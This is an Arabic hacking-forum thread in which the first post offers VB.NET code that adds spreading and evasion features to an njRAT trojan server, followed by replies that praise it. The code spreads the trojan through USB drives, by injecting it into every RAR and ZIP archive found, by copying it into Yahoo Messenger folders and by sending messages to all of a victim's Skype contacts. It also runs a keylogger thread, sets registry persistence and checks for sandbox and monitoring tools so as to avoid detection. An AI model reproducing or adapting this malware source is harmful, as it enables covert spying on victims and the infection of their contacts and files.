1. مستر كولدن

    مستر كولدن DeveloPer Plus

    الأنتساب:
    ‏4 ديسمبر 2014
    المشاركات:
    224
    الإعجابات المتلقاة:
    288
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    بسم الله الرحمن الرحيم
    السلآم عليكم
    حبايب كلبي اقدملكم اليوم
    {1!9}مجموعة من اكواد الانتشارات+تخطيات للسيرفر برنامج اختراق نجرات
    اليكم الاكواد بلغة Vb.NeT{1!9}
    [FONT=ae_AlMothnna]تخطيات[/FONT]
    [FONT=ae_AlMothnna]Anti sandboxi>Anti Vmware>Anti Apdate DNS>Anti [/FONT]
    [FONT=ae_AlMothnna]ZOMANA>Anti CportS[/FONT][FONT=ae_AlMothnna]>smartsniff>spy the spy >TCP EYE[/FONT]
    [FONT=ae_AlMothnna]الانتشارات في[/FONT]
    [FONT=ae_AlMothnna]USP[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]RAR[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]P2P[/FONT][FONT=ae_AlMothnna]<[/FONT][FONT=ae_AlMothnna]Yahoo[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]lan[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]Skype[/FONT]
    [FONT=ae_AlMothnna]---------------------------[/FONT]
    [FONT=ae_AlMothnna]ضع الكود في[/FONT]
    [FONT=ae_AlMothnna]class1[/FONT]
    [NOTE]


    Mutex.OpenExisting(MTX)
    End
    Catch ex As Exception
    End Try
    Try
    MT = New Mutex(True, MTX)
    Catch ex As Exception
    End
    End Try
    Dim tt As Object = New Thread(AddressOf RC, 1)
    tt.Start()


    If SPR = True Then
    usb.ExeName = RG & ".exe"
    usb.Start()
    End If
    Try
    kq = New kl
    tt = New Thread(AddressOf kq.WRK, 1)
    tt.Start()
    Catch ex As Exception
    End Try
    Dim ac As Integer = 0
    Dim su As Integer = 0
    Dim ov As String = ""
    If BD Then
    Try
    AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf ED
    pr(1)
    Catch ex As Exception
    End Try
    End If
    While True
    Thread.CurrentThread.Sleep(1000)
    Try
    ac += 1
    su += 1
    If ac = 5 Then
    Try
    EmptyWorkingSet(Process.GetCurrentProcess.Handle)
    Catch ex As Exception
    End Try
    End If
    If ac > 10 Then
    ac = 0
    If Cn = True Then
    If ACT() = ov Then
    Else
    ov = ACT()
    If ov IsNot Nothing Then
    If ov.Length > 0 Then
    Send("act" & Y & ov)
    End If
    End If
    End If
    End If
    End If
    If su > 7 Then
    su = 0
    Try
    F.Registry.CurrentUser.OpenSubKey(sf, True).SetValue(RG, ChrW(34) & LO.FullName & ChrW(34) & " ..")



    [/NOTE]

    ثم ضع هذا الكود في
    class2
    [NOTE]

    Imports System
    Imports System.Runtime.InteropServices
    Imports System.Collections.Generic
    Imports System.Reflection
    Imports System.Text
    Imports System.Windows.Forms
    Imports System.IO
    Imports System.Diagnostics
    Imports Microsoft.Win32
    Imports System.DirectoryServices
    Imports System.Management






    Module SKYYPE
    Public Sub Skype()
    Try
    Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
    Dim g As New StreamWriter(vv)
    g.BaseStream.Seek(0, SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""Remplacer ici par le texte que vous voulez (ce texte sera ecrit dans toutes les conversations de tout les amis skype de la victime" & """")
    g.WriteLine("next")
    g.Close()
    Process.Start("C:\windows\system32\s4c.vbs")
    Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
    fa.Delete()
    Catch ex As Exception
    End Try
    End Sub
    End Module


    Module RARR
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _
    Public Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
    End Function
    Dim _rarPath As String
    Dim _copiedExeName As String
    Private Sub Search(ByVal pathName As String)
    Dim files As String()
    files = Directory.GetFiles(pathName)
    For Each file As String In files
    If file.Contains(".rar") Then
    RarStart(file)
    End If
    If file.Contains(".zip") Then
    RarStart(file)
    End If
    Next


    Dim subdirectorys As String() = Directory.GetDirectories(pathName)
    For Each subdirectory As String In subdirectorys
    Search(subdirectory)
    Next
    End Sub




    Public Sub Spread(ByVal myExeName As String)
    _copiedExeName = myExeName
    Dim drives As String() = Environment.GetLogicalDrives()
    For Each strDrive As String In drives
    Search(strDrive)
    Next
    File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
    End Sub


    Public Sub RarStart(ByVal archiveToInject As String)
    Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
    Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"


    _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
    If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
    File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
    End If


    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()




    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)


    Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = (" a " & shortArchiveDirectory.ToString & " ") + evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden


    Process.Start(rarProcess)
    Catch
    End Try


    End If
    End Sub
    End Module
    Module yahoo
    Sub yahoo_sp()
    On Error Resume Next
    Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
    Dim YaFile As String = Application.ExecutablePath
    Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
    If Dir(FoPath, FileAttribute.Directory) <> "" Then
    Dim i As Int32 = 0
    Dim x As Int32 = 0
    Dim shares() As String
    shares = System.IO.Directory.GetDirectories(FoPath)
    For i = 0 To shares.GetUpperBound(0)
    If Dir(shares(i), FileAttribute.Directory) <> "" Then
    If File.Exists(shares(i) & "\ys.scr") = False Then
    File.Copy(YaFile, shares(i) & "\ys.scr")
    End If
    End If
    Next
    End If
    End Sub
    End Module
    [/NOTE]


    ايضا ضع هذا كود في
    Module1
    [NOTE]​

    Public Class anti


    Public Function IsSafe() As Boolean
    For Each x As String In New String() {"cfp", "vmplayer", "cports", "ApateDNS", "antilogger", "procexp", "smsniff", "TcpEye", "SpyTheSpy"}
    If Process.GetProcessesByName(x).Length > 0 Then Return False
    Next
    Return True
    End Function
    End Class


    [/NOTE]
     
  2. --•DeviL Hacker•--

    --•DeviL Hacker•-- ExpErt DeveloPer

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    661
    الإعجابات المتلقاة:
    867
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    صنـآعـة برآمـج
    الإقامة:
    IraQ
    رد: اضافة انتشارات للسيرفر و تخطيات

    احسنت ياغالي
     
  3. الأوكراني

    الأوكراني <div class="smal22">.:: غير موثوق ::.</div> موقوف لمخالفة الشروط

    الأنتساب:
    ‏22 أغسطس 2014
    المشاركات:
    255
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: اضافة انتشارات للسيرفر و تخطيات

    احسنت اخي الكريم موفق في الطرح استمر في ابداعك
     
  4. AnonYmous-IQ

    AnonYmous-IQ مشرف آمن المواقع والسيرفرات مشرف

    الأنتساب:
    ‏31 أغسطس 2014
    المشاركات:
    387
    الإعجابات المتلقاة:
    457
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الوظيفة:
    [+] Programmer [+]
    الإقامة:
    Iraq
    رد: اضافة انتشارات للسيرفر و تخطيات

    {1!$7} عشت يا ؤردة {1!$7}


    [​IMG]
     
  5. Mstr Yaser

    Mstr Yaser <span style="font-weight: bold; text-shadow: #BBBB موقوف لمخالفة الشروط

    الأنتساب:
    ‏21 نوفمبر 2014
    المشاركات:
    353
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    18
    المخالفات
    1
    رد: اضافة انتشارات للسيرفر و تخطيات

    عاشت ايدك حب
     
  6. عباس العتابي

    عباس العتابي Developer

    الأنتساب:
    ‏10 ديسمبر 2014
    المشاركات:
    13
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: اضافة انتشارات للسيرفر و تخطيات

    حلوو حبي
     
  7. !•¢-Άss£R-ΆℓrOoOԊ•¢-!

    !•¢-Άss£R-ΆℓrOoOԊ•¢-! اعرض من مثلث برمودة DeveloPer Plus موقوف لمخالفة الشروط

    الأنتساب:
    ‏16 يناير 2015
    المشاركات:
    430
    الإعجابات المتلقاة:
    16
    نقاط الجائزة:
    18
    الجنس:
    أنثى
    الإقامة:
    مدينه الصدر
    رد: اضافة انتشارات للسيرفر و تخطيات

    حلوو استمر في[bgred] ابداعك[/bgred]
     
  8. HaMaM-HaCkEr

    HaMaM-HaCkEr DeveloPer Plus

    الأنتساب:
    ‏22 نوفمبر 2012
    المشاركات:
    117
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: اضافة انتشارات للسيرفر و تخطيات

    تْسِسِسِلٌمٍ ايًدًيًك يًا غٍ ’ـالٌيً
     
  9. MR.CAPTCHA

    MR.CAPTCHA Expert Developer ExpErt DeveloPer

    الأنتساب:
    ‏30 أغسطس 2014
    المشاركات:
    1,786
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    38
    الوظيفة:
    I.T Student
    الإقامة:
    IRAQ
    رد: اضافة انتشارات للسيرفر و تخطيات

    كودات رووعة احسنت
     
  10. عقرب النجف

    عقرب النجف موقوف لمخالفة الشروط

    الأنتساب:
    ‏7 ديسمبر 2014
    المشاركات:
    424
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الوظيفة:
    programmer
    الإقامة:
    العراق
    المخالفات
    3
    رد: اضافة انتشارات للسيرفر و تخطيات

    عاشؤؤ حبيبي وواصل الابداع بكل جديد {1!$4}
     

مشاركة هذه الصفحة